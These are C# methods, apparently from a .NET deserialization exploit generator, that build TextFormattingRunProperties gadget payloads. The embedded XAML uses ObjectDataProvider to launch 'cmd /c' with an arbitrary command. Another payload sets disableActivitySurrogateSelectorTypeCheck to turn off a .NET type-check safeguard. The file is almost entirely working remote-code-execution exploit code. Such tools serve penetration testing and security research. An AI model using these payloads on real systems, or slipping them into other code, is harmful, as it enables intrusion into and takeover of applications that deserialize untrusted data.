public static object TextFormattingRunPropertiesGadget(InputArgs inputArgs) { ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator(); string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString(); if (inputArgs.Minify) { xaml_payload = XMLMinifier.Minify(xaml_payload, null, null); } TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload); return(payload); }
public override object Generate(string formatter, InputArgs inputArgs) { string xaml_payload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:s=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration"" xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib""> <ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType""> <ObjectDataProvider.MethodParameters> <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField""> <ObjectDataProvider.MethodParameters> <s:String>disableActivitySurrogateSelectorTypeCheck</s:String> <r:BindingFlags>40</r:BindingFlags> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue""> <ObjectDataProvider.MethodParameters> <s:Object/> <s:Boolean>true</s:Boolean> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set""> <ObjectDataProvider.MethodParameters> <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String> <s:String>true</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>"; object payload = TypeConfuseDelegateGenerator.GetXamlGadget(xaml_payload); if (inputArgs.Minify) { xaml_payload = XMLMinifier.Minify(xaml_payload, null, null); payload = new TextFormattingRunPropertiesMarshal(xaml_payload); } return(Serialize(payload, formatter, inputArgs)); }
public override object Generate(string cmd, string formatter, Boolean test) { string xaml_payload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c """ + cmd + @""" </System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>"; TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload); return(Serialize(payload, formatter, test)); }
public override object Generate(string cmd, string formatter, Boolean test, Boolean minify) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String> <System:String>""" + splittedCMD[1] + @""" </System:String>"; } else { cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String>"; } string xaml_payload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider x:Key="""" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > <ObjectDataProvider.MethodParameters> " + cmdPart + @" </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>"; if (minify) { xaml_payload = Helpers.XMLMinifier.Minify(xaml_payload, null, null); } TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload); return(Serialize(payload, formatter, test, minify)); }